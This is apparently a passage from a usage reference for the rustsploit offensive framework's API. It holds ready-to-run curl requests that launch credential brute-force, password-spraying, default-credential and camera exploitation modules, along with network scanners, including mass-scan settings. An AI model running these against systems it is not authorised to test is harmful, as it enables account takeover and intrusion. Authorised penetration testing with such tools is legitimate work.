admin/s-b-repo-rustsploit
1
0
Fork 0
mirror of https://github.com/s-b-repo/rustsploit synced 2026-06-27 09:54:12 +00:00
Code Issues Packages Projects Releases Wiki Activity
Files
main
s-b-repo-rustsploit/template-api-commands.txt
T

3671 lines
153 KiB
Plaintext
Raw Permalink Blame History

# RustSploit API — Template Commands (Complete Reference)
# ═══════════════════════════════════════════════════════════════
# Full API command reference for all 242 modules
# (legacy entries 1-192 + recently-added entries in the
# "ADDITIONAL MODULES" section near the end of this file)
# Default creds: admin/password123, root/toor
# SNMP community: public
#
# API Key: testkey123 (replace with your actual key)
# Wordlists: Use absolute paths to wordlist files
#
# Start API: cargo run -- --api --api-key testkey123 --interface 127.0.0.1
# ═══════════════════════════════════════════════════════════════
#
# NOTES:
# - combo_mode accepts: "linear", "combo", or "spray" (not y/n)
# - All prompts go in the "prompts" JSON object
# - Dedicated top-level fields: port, username_wordlist, password_wordlist,
# concurrency, stop_on_success, save_results, output_file, verbose, combo_mode
# - These can also be passed via the prompts map for fine-grained control
# ═══════════════════════════════════════════════════════════════
# ─── Health Check ────────────────────────────────────────────────────
curl -s http://127.0.0.1:8080/health | python3 -m json.tool
# ─── List Modules ───────────────────────────────────────────────────
curl -s http://127.0.0.1:8080/api/modules \
-H 'Authorization: Bearer testkey123' | python3 -m json.tool
# ─── Search Modules ─────────────────────────────────────────────────
curl -s "http://127.0.0.1:8080/api/modules/search?q=ssh" \
-H 'Authorization: Bearer testkey123' | python3 -m json.tool
# ─── Set Target ─────────────────────────────────────────────────────
curl -s -X POST http://127.0.0.1:8080/api/target \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{"target": "127.0.0.1"}' | python3 -m json.tool
# ─── Set Target (CIDR subnet) ──────────────────────────────────────
curl -s -X POST http://127.0.0.1:8080/api/target \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{"target": "192.168.1.0/24"}' | python3 -m json.tool
# ─── Show Target ────────────────────────────────────────────────────
curl -s http://127.0.0.1:8080/api/target \
-H 'Authorization: Bearer testkey123' | python3 -m json.tool
# ─── List Result Files ──────────────────────────────────────────────
curl -s http://127.0.0.1:8080/api/results \
-H 'Authorization: Bearer testkey123' | python3 -m json.tool
# ─── Get Result File ────────────────────────────────────────────────
curl -s http://127.0.0.1:8080/api/results/ssh_results.txt \
-H 'Authorization: Bearer testkey123' | python3 -m json.tool
# ═══════════════════════════════════════════════════════════════
# CREDENTIAL MODULES (1-29)
# Bruteforce / credential checking modules
# save_results: "y" enables output file creation
# CIDR: use target like "127.0.0.1/32" or "192.168.1.0/24"
# ═══════════════════════════════════════════════════════════════
# ─── 1. SSH Bruteforce ──────────────────────────────────────────────
# TESTED ✅ — Found root:toor against emulated SSH on port 2222
# save_results ✅ — Saved to ssh_results.txt
# CIDR ✅ — Subnet detected, sequential per-host scanning
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "creds/generic/ssh_bruteforce",
"target": "127.0.0.1",
"prompts": {
"port": "2222",
"use_defaults": "n",
"use_username_wordlist": "y",
"username_wordlist": "/usr/share/wordlists/usernames.txt",
"use_password_wordlist": "y",
"password_wordlist": "/usr/share/wordlists/passwords.txt",
"concurrency": "5",
"timeout": "5",
"retry_on_error": "n",
"stop_on_success": "y",
"save_results": "y",
"output_file": "ssh_results.txt",
"verbose": "n",
"combo_mode": "combo",
"save_unknown_responses": "n"
}
}' | python3 -m json.tool
# ─── 2. FTP Bruteforce ──────────────────────────────────────────────
# No emulator available. save_results and CIDR implemented.
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "creds/generic/ftp_bruteforce",
"target": "10.0.0.1",
"prompts": {
"port": "21",
"username_wordlist": "/usr/share/wordlists/usernames.txt",
"password_wordlist": "/usr/share/wordlists/passwords.txt",
"concurrency": "10",
"stop_on_success": "y",
"save_results": "y",
"output_file": "ftp_results.txt",
"verbose": "n",
"combo_mode": "combo"
}
}' | python3 -m json.tool
# ─── 3. SMTP Bruteforce ────────────────────────────────────────────
# TESTED ✅ — Found root:toor against emulated SMTP on port 2525
# save_results ✅ — Saved to smtp_results.txt
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "creds/generic/smtp_bruteforce",
"target": "127.0.0.1",
"prompts": {
"port": "2525",
"username_wordlist": "/usr/share/wordlists/usernames.txt",
"password_wordlist": "/usr/share/wordlists/passwords.txt",
"threads": "5",
"delay_ms": "100",
"stop_on_success": "y",
"combo_mode": "combo",
"verbose": "n",
"save_results": "y",
"output_file": "smtp_results.txt"
}
}' | python3 -m json.tool
# ─── 4. POP3 Bruteforce ────────────────────────────────────────────
# TESTED ✅ — Found root:toor against emulated POP3 on port 1110
# save_results ✅ — Saved to pop3_results.txt
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "creds/generic/pop3_bruteforce",
"target": "127.0.0.1",
"prompts": {
"use_ssl": "n",
"port": "1110",
"username_wordlist": "/usr/share/wordlists/usernames.txt",
"password_wordlist": "/usr/share/wordlists/passwords.txt",
"threads": "5",
"delay_ms": "50",
"timeout": "5",
"combo_mode": "combo",
"stop_on_success": "y",
"save_results": "y",
"output_file": "pop3_results.txt",
"verbose": "n",
"retry_on_error": "n"
}
}' | python3 -m json.tool
# ─── 5. MQTT Bruteforce ────────────────────────────────────────────
# TESTED ✅ — Found root:toor + admin:password123 against emulated MQTT on port 1884
# save_results ✅
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "creds/generic/mqtt_bruteforce",
"target": "127.0.0.1",
"prompts": {
"port": "1884",
"use_tls": "n",
"test_anonymous": "n",
"username_wordlist": "/usr/share/wordlists/usernames.txt",
"password_wordlist": "/usr/share/wordlists/passwords.txt",
"concurrency": "5",
"timeout": "5",
"stop_on_success": "y",
"save_results": "y",
"output_file": "mqtt_results.txt",
"verbose": "n",
"combo_mode": "combo",
"client_id": "rustsploit"
}
}' | python3 -m json.tool
# ─── 6. SNMP Bruteforce ────────────────────────────────────────────
# TESTED ✅ — Found community 'public' against emulated SNMP on port 1161
# save_results ✅ — Saved to snmp_results.txt
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "creds/generic/snmp_bruteforce",
"target": "127.0.0.1",
"prompts": {
"port": "1161",
"community_wordlist": "/usr/share/wordlists/snmp_communities.txt",
"snmp_version": "2c",
"concurrency": "5",
"stop_on_success": "y",
"save_results": "y",
"output_file": "snmp_results.txt",
"verbose": "n",
"timeout": "3"
}
}' | python3 -m json.tool
# ─── 7. RTSP Bruteforce ────────────────────────────────────────────
# TESTED ✅ — Found admin:password123 + root:toor against emulated RTSP on port 5554
# save_results ✅ — Saved to rtsp_results.txt
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "creds/generic/rtsp_bruteforce",
"target": "127.0.0.1",
"prompts": {
"port": "5554",
"username_wordlist": "/usr/share/wordlists/usernames.txt",
"password_wordlist": "/usr/share/wordlists/passwords.txt",
"concurrency": "5",
"stop_on_success": "y",
"save_results": "y",
"output_file": "rtsp_results.txt",
"verbose": "n",
"combo_mode": "combo",
"advanced_mode": "n",
"brute_force_paths": "n"
}
}' | python3 -m json.tool
# ─── 8. Telnet Bruteforce ─────────────────────────────────────────
# TESTED ✅ — Module runs, mode 4 quick default check works
# Mode 4 = Quick Default Check (built-in credential list)
# Mode 1 = Single Target with custom wordlists
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "creds/generic/telnet_bruteforce",
"target": "127.0.0.1",
"prompts": {
"mode": "4",
"port": "2323",
"verbose": "n",
"stop_on_success": "y",
"save_results": "y",
"output_file": "telnet_results.txt"
}
}' | python3 -m json.tool
# ─── 9. RDP Bruteforce ─────────────────────────────────────────────
# Requires xfreerdp on the system. No emulated server available.
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "creds/generic/rdp_bruteforce",
"target": "10.0.0.1",
"prompts": {
"port": "3389",
"username_wordlist": "/usr/share/wordlists/usernames.txt",
"password_wordlist": "/usr/share/wordlists/passwords.txt",
"concurrency": "5",
"timeout": "10",
"stop_on_success": "y",
"save_results": "y",
"output_file": "rdp_results.txt",
"verbose": "n",
"combo_mode": "combo",
"security_level": "1"
}
}' | python3 -m json.tool
# ─── 10. Fortinet SSL VPN Bruteforce ────────────────────────────────
# HTTPS module. Emulated server on port 4443.
curl -s --max-time 300 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "creds/generic/fortinet_bruteforce",
"target": "127.0.0.1",
"prompts": {
"port": "4443",
"username_wordlist": "/usr/share/wordlists/usernames.txt",
"password_wordlist": "/usr/share/wordlists/passwords.txt",
"concurrency": "3",
"timeout": "10",
"stop_on_success": "y",
"save_results": "y",
"output_file": "fortinet_results.txt",
"verbose": "n",
"combo_mode": "combo",
"trusted_cert": "",
"realm": ""
}
}' | python3 -m json.tool
# ─── 11. L2TP Bruteforce ──────────────────────────────────────────
# L2TP/CHAP protocol. Port 1701 (UDP).
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "creds/generic/l2tp_bruteforce",
"target": "127.0.0.1",
"prompts": {
"port": "1701",
"username_wordlist": "/usr/share/wordlists/usernames.txt",
"password_wordlist": "/usr/share/wordlists/passwords.txt",
"concurrency": "3",
"timeout_ms": "5000",
"stop_on_success": "y",
"save_results": "y",
"output_file": "l2tp_results.txt",
"verbose": "n",
"combo_mode": "combo"
}
}' | python3 -m json.tool
# ─── 12. MySQL Bruteforce ──────────────────────────────────────────
# MySQL authentication bruteforce. Default port 3306.
# Prompts: port, use_defaults, use_username_wordlist, username_wordlist,
# use_password_wordlist, password_wordlist, concurrency, verbose, output_file
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "creds/generic/mysql_bruteforce",
"target": "10.0.0.1",
"prompts": {
"port": "3306",
"use_defaults": "y",
"use_username_wordlist": "y",
"username_wordlist": "/usr/share/wordlists/usernames.txt",
"use_password_wordlist": "y",
"password_wordlist": "/usr/share/wordlists/passwords.txt",
"concurrency": "10",
"verbose": "n",
"output_file": "mysql_results.txt"
}
}' | python3 -m json.tool
# ─── 13. PostgreSQL Bruteforce ──────────────────────────────────────
# PostgreSQL bruteforce with database selection. Default port 5432.
# Prompts: port, database (default "postgres"), use_defaults, use_username_wordlist,
# username_wordlist, use_password_wordlist, password_wordlist, concurrency, verbose, output_file
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "creds/generic/postgres_bruteforce",
"target": "10.0.0.1",
"prompts": {
"port": "5432",
"database": "postgres",
"use_defaults": "y",
"use_username_wordlist": "y",
"username_wordlist": "/usr/share/wordlists/usernames.txt",
"use_password_wordlist": "y",
"password_wordlist": "/usr/share/wordlists/passwords.txt",
"concurrency": "10",
"verbose": "n",
"output_file": "postgres_results.txt"
}
}' | python3 -m json.tool
# ─── 14. Elasticsearch Bruteforce ──────────────────────────────────
# Elasticsearch HTTP auth bruteforce. Default port 9200.
# Prompts: port, username_wordlist, password_wordlist, concurrency, verbose, output_file, timeout
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "creds/generic/elasticsearch_bruteforce",
"target": "10.0.0.1",
"prompts": {
"port": "9200",
"username_wordlist": "/usr/share/wordlists/usernames.txt",
"password_wordlist": "/usr/share/wordlists/passwords.txt",
"concurrency": "10",
"timeout": "10",
"verbose": "n",
"output_file": "elasticsearch_results.txt"
}
}' | python3 -m json.tool
# ─── 15. CouchDB Bruteforce ────────────────────────────────────────
# CouchDB HTTP auth bruteforce. Default port 5984.
# Prompts: port, username_wordlist, password_wordlist, concurrency, verbose, output_file, timeout
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "creds/generic/couchdb_bruteforce",
"target": "10.0.0.1",
"prompts": {
"port": "5984",
"username_wordlist": "/usr/share/wordlists/usernames.txt",
"password_wordlist": "/usr/share/wordlists/passwords.txt",
"concurrency": "10",
"timeout": "10",
"verbose": "n",
"output_file": "couchdb_results.txt"
}
}' | python3 -m json.tool
# ─── 16. HTTP Basic Bruteforce ─────────────────────────────────────
# HTTP Basic authentication bruteforce. Adds use_https, url_path prompts.
# Prompts: use_https, url_path (default "/"), username_wordlist, password_wordlist, etc.
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "creds/generic/http_basic_bruteforce",
"target": "10.0.0.1",
"prompts": {
"use_https": "n",
"url_path": "/admin",
"username_wordlist": "/usr/share/wordlists/usernames.txt",
"password_wordlist": "/usr/share/wordlists/passwords.txt",
"concurrency": "10",
"stop_on_success": "y",
"verbose": "n",
"output_file": "http_basic_results.txt"
}
}' | python3 -m json.tool
# ─── 17. IMAP Bruteforce ───────────────────────────────────────────
# IMAP authentication bruteforce. use_tls selects port 993 (TLS) vs 143 (plain).
# Prompts: use_tls, username_wordlist, password_wordlist, concurrency, stop_on_success, verbose, output_file
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "creds/generic/imap_bruteforce",
"target": "10.0.0.1",
"prompts": {
"use_tls": "n",
"username_wordlist": "/usr/share/wordlists/usernames.txt",
"password_wordlist": "/usr/share/wordlists/passwords.txt",
"concurrency": "10",
"stop_on_success": "y",
"verbose": "n",
"output_file": "imap_results.txt"
}
}' | python3 -m json.tool
# ─── 18. Memcached Bruteforce ──────────────────────────────────────
# Memcached SASL authentication bruteforce. Default port 11211.
# Prompts: port, use_defaults, username_wordlist, password_wordlist, concurrency, verbose, output_file, timeout
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "creds/generic/memcached_bruteforce",
"target": "10.0.0.1",
"prompts": {
"port": "11211",
"use_defaults": "y",
"username_wordlist": "/usr/share/wordlists/usernames.txt",
"password_wordlist": "/usr/share/wordlists/passwords.txt",
"concurrency": "10",
"timeout": "5",
"verbose": "n",
"output_file": "memcached_results.txt"
}
}' | python3 -m json.tool
# ─── 19. Redis Bruteforce ──────────────────────────────────────────
# Redis auth bruteforce. use_acl enables Redis 6+ ACL mode (username+password).
# Default port 6379. Without ACL, password-only auth.
# Prompts: use_acl, username_wordlist (ACL only), password_wordlist, concurrency,
# stop_on_success, verbose, output_file
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "creds/generic/redis_bruteforce",
"target": "10.0.0.1",
"prompts": {
"use_acl": "n",
"password_wordlist": "/usr/share/wordlists/passwords.txt",
"concurrency": "10",
"stop_on_success": "y",
"verbose": "n",
"output_file": "redis_results.txt"
}
}' | python3 -m json.tool
# ─── 20. VNC Bruteforce ────────────────────────────────────────────
# VNC password-only bruteforce (no username). Default port 5900.
# Prompts: port, use_defaults, use_password_wordlist, password_wordlist,
# concurrency, stop_on_success, verbose, output_file, retry_on_error, max_retries
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "creds/generic/vnc_bruteforce",
"target": "10.0.0.1",
"prompts": {
"port": "5900",
"use_defaults": "y",
"use_password_wordlist": "y",
"password_wordlist": "/usr/share/wordlists/passwords.txt",
"concurrency": "5",
"stop_on_success": "y",
"save_results": "y",
"output_file": "vnc_results.txt",
"verbose": "n",
"retry_on_error": "y",
"max_retries": "2"
}
}' | python3 -m json.tool
# ─── 21. Proxy Bruteforce ──────────────────────────────────────────
# Proxy authentication bruteforce. Supports http_connect, socks5, http_forward.
# Prompts: proxy_type, port, username_wordlist, password_wordlist, combo_mode,
# concurrency, stop_on_success, verbose, output_file, timeout
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "creds/generic/proxy_bruteforce",
"target": "10.0.0.1",
"prompts": {
"proxy_type": "http_connect",
"port": "3128",
"username_wordlist": "/usr/share/wordlists/usernames.txt",
"password_wordlist": "/usr/share/wordlists/passwords.txt",
"combo_mode": "combo",
"concurrency": "10",
"stop_on_success": "y",
"verbose": "n",
"output_file": "proxy_brute_results.txt",
"timeout": "5000"
}
}' | python3 -m json.tool
# ─── 22. SSH User Enum ──────────────────────────────────────────────
# Enumerates valid usernames via timing/response analysis.
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "creds/generic/ssh_user_enum",
"target": "192.168.1.1",
"prompts": { "port": "22", "username_wordlist": "/usr/share/wordlists/usernames.txt" }
}' | python3 -m json.tool
# ─── 23. SSH Spray ──────────────────────────────────────────────────
# Password spraying across multiple hosts with a single credential.
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "creds/generic/ssh_spray",
"target": "192.168.1.0/24",
"prompts": { "port": "22", "username": "admin", "password": "admin", "concurrency": "20" }
}' | python3 -m json.tool
# ─── 24. Telnet Hose ────────────────────────────────────────────────
# Rapid telnet default credential spray.
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "creds/generic/telnet_hose",
"target": "192.168.1.1",
"prompts": { "port": "23" }
}' | python3 -m json.tool
# ─── 25. Enable Bruteforce ──────────────────────────────────────────
# Bruteforce Cisco-style enable password via telnet.
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "creds/generic/enablebruteforce",
"target": "192.168.1.1",
"prompts": { "port": "23", "password_wordlist": "/usr/share/wordlists/rockyou.txt" }
}' | python3 -m json.tool
# ─── 26. FTP Anonymous ──────────────────────────────────────────────
# Check for anonymous FTP login. target "0.0.0.0" = mass scan.
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "creds/generic/ftp_anonymous",
"target": "192.168.1.200",
"prompts": {
"concurrency": "500",
"verbose": "n",
"output_file": "ftp_anon_results.txt",
"use_exclusions": "y"
}
}' | python3 -m json.tool
# ─── 27. CamXploit ──────────────────────────────────────────────────
# Camera discovery / exploitation scanner. Fingerprints ports, tests default creds.
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "creds/camxploit/camxploit",
"target": "192.168.1.150",
"prompts": {
"concurrency": "200",
"output_file": "camxploit_results.txt"
}
}' | python3 -m json.tool
# ─── 28. ACTi Camera Default Creds ──────────────────────────────────
# Tests default credentials against ACTi IP cameras.
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "creds/camera/acti/acti_camera_default",
"target": "192.168.1.1",
"prompts": { "port": "80" }
}' | python3 -m json.tool
# ─── 29. Sample Cred Check ──────────────────────────────────────────
# Minimal sample credential check module. Target only.
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "creds/generic/sample_cred_check",
"target": "192.168.1.1"
}' | python3 -m json.tool
# ═══════════════════════════════════════════════════════════════
# SCANNER MODULES (30-56)
# All scanner modules fully API-compatible via cfg_prompt_* wrappers.
# ═══════════════════════════════════════════════════════════════
# ─── 30. Port Scanner ──────────────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/port_scanner",
"target": "192.168.1.1",
"prompts": {
"port_range": "1-1024",
"scan_method": "1",
"concurrency": "200",
"timeout": "3",
"show_only_open": "y",
"verbose": "n",
"output_file": ""
}
}' | python3 -m json.tool
# ─── 31. SSH Scanner (Banner Grab) ───────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/ssh_scanner",
"target": "192.168.1.1",
"prompts": {
"port": "22",
"additional_targets": "",
"load_from_file": "n",
"threads": "10",
"timeout": "5",
"save_results": "y",
"output_file": "ssh_scan_results.txt"
}
}' | python3 -m json.tool
# ─── 32. DNS Recursion Scanner ───────────────────────────────────
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/dns_recursion",
"target": "8.8.8.8",
"prompts": {
"port": "53",
"domain": "google.com",
"record_type": "A"
}
}' | python3 -m json.tool
# ─── 33. HTTP Title Scanner ──────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/http_title_scanner",
"target": "192.168.1.1",
"prompts": {
"additional_targets": "",
"target_file": "",
"check_http": "y",
"check_https": "y",
"use_ports": "n",
"timeout": "10",
"save_results": "y",
"verbose": "n"
}
}' | python3 -m json.tool
# ─── 34. HTTP Method Scanner ────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/http_method_scanner",
"target": "192.168.1.1",
"prompts": {
"additional_targets": "",
"target_file": "",
"scheme": "https",
"use_ports": "n",
"timeout": "10",
"verbose": "n",
"save_results": "y"
}
}' | python3 -m json.tool
# ─── 35. SMTP User Enum ─────────────────────────────────────────
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/smtp_user_enum",
"target": "192.168.1.1",
"prompts": {
"mode": "1",
"port": "25",
"wordlist": "/usr/share/wordlists/usernames.txt",
"threads": "10",
"timeout_ms": "3000",
"verbose": "n",
"save_valid": "y",
"valid_output": "smtp_valid_users.txt"
}
}' | python3 -m json.tool
# ─── 36. Ping Sweep ─────────────────────────────────────────────
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/ping_sweep",
"target": "192.168.1.0/24",
"prompts": {
"add_manual_targets": "n",
"load_from_file": "n",
"timeout": "3",
"concurrency": "100",
"verbose": "n",
"save_up_hosts": "y",
"up_hosts_file": "ping_sweep_up_hosts.txt",
"save_down_hosts": "n",
"use_icmp": "y",
"use_tcp": "n",
"use_syn": "n",
"use_ack": "n"
}
}' | python3 -m json.tool
# ─── 37. Directory Brute Force ──────────────────────────────────
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/dir_brute",
"target": "192.168.1.1",
"prompts": {
"mode": "1",
"target": "192.168.1.1",
"use_https": "y",
"port": "443",
"base_path": "/",
"wordlist": "/usr/share/wordlists/dirb/common.txt",
"save_results": "y",
"sort_by": "1"
}
}' | python3 -m json.tool
# ─── 38. Sequential Fuzzer ──────────────────────────────────────
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/sequential_fuzzer",
"target": "http://192.168.1.1/",
"prompts": {
"mode": "1",
"min_length": "1",
"max_length": "3",
"verbose": "n"
}
}' | python3 -m json.tool
# ─── 39. API Endpoint Scanner ───────────────────────────────────
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/api_endpoint_scanner",
"target": "https://192.168.1.1",
"prompts": {
"output_dir": "api_scan_results",
"use_spoofing": "n",
"use_generic_payload": "y",
"enable_delete": "n",
"enable_extended_methods": "n",
"modules": "1",
"concurrency": "10",
"timeout": "10",
"endpoint_source": "1",
"endpoint_file": "/tmp/endpoints.txt"
}
}' | python3 -m json.tool
# ─── 40. IPMI Enum/Exploit ──────────────────────────────────────
# Mode 1=Single target, 2=CIDR scan, 3=File-based scan
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/ipmi_enum_exploit",
"target": "192.168.1.1",
"prompts": {
"mode": "1",
"target": "192.168.1.1",
"port": "623",
"test_cipher_zero": "y",
"test_anonymous": "y",
"test_default_creds": "y",
"test_rakp_hash": "y",
"concurrency": "1",
"output_file": "ipmi_scan_results.csv"
}
}' | python3 -m json.tool
# ─── 41. SSDP MSearch Scanner ───────────────────────────────────
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/ssdp_msearch",
"target": "192.168.1.1",
"prompts": {
"port": "1900",
"timeout": "5",
"retries": "2",
"verbose": "y",
"save_results": "y",
"search_target": "ssdp:all"
}
}' | python3 -m json.tool
# ─── 42. Sample Scanner ────────────────────────────────────────
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/sample_scanner",
"target": "192.168.1.1",
"prompts": {
"timeout": "5",
"check_http": "y",
"check_https": "y",
"verbose": "n",
"save_results": "y",
"output_file": "sample_scan.txt"
}
}' | python3 -m json.tool
# ─── 43. Banner Grabber ────────────────────────────────────────
# REMOVED — module deleted. Use `scanners/service_scanner` (entry 44)
# for service identification or `scanners/port_scanner` (entry 30) for
# raw banner pulls.
# ─── 44. Service Scanner ───────────────────────────────────────
# Identifies services and versions on open ports.
# Prompts: ports, concurrency, timeout, save_results, output_file
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/service_scanner",
"target": "192.168.1.1",
"prompts": {
"ports": "21,22,23,25,80,110,143,443,993,3306,5432,6379,8080,8443",
"concurrency": "50",
"timeout": "5",
"save_results": "y",
"output_file": "service_scan_results.txt"
}
}' | python3 -m json.tool
# ─── 45. SSL Scanner ───────────────────────────────────────────
# Checks SSL/TLS configuration, certificates, weak ciphers.
# Prompts: port, timeout, additional_targets, save_results, output_file
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/ssl_scanner",
"target": "192.168.1.1",
"prompts": {
"port": "443",
"timeout": "10",
"additional_targets": "",
"save_results": "y",
"output_file": "ssl_scan_results.txt"
}
}' | python3 -m json.tool
# ─── 46. SNMP Scanner ──────────────────────────────────────────
# Scans for SNMP services and tests community strings.
# Prompts: port, timeout, snmp_version (1/2c/both), wordlist, save_results, output_file
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/snmp_scanner",
"target": "192.168.1.1",
"prompts": {
"port": "161",
"timeout": "3",
"snmp_version": "both",
"wordlist": "",
"save_results": "y",
"output_file": "snmp_scan_results.txt"
}
}' | python3 -m json.tool
# ─── 47. Redis Scanner ─────────────────────────────────────────
# Scans Redis instances for open access, version, config exposure.
# Prompts: port, timeout, save_results, output_file
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/redis_scanner",
"target": "192.168.1.1",
"prompts": {
"port": "6379",
"timeout": "5",
"save_results": "y",
"output_file": "redis_scan_results.txt"
}
}' | python3 -m json.tool
# ─── 48. VNC Scanner ───────────────────────────────────────────
# Scans VNC services, checks auth requirements, display range.
# Prompts: port, timeout, scan_range (scan :0-:10), save_results, output_file
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/vnc_scanner",
"target": "192.168.1.1",
"prompts": {
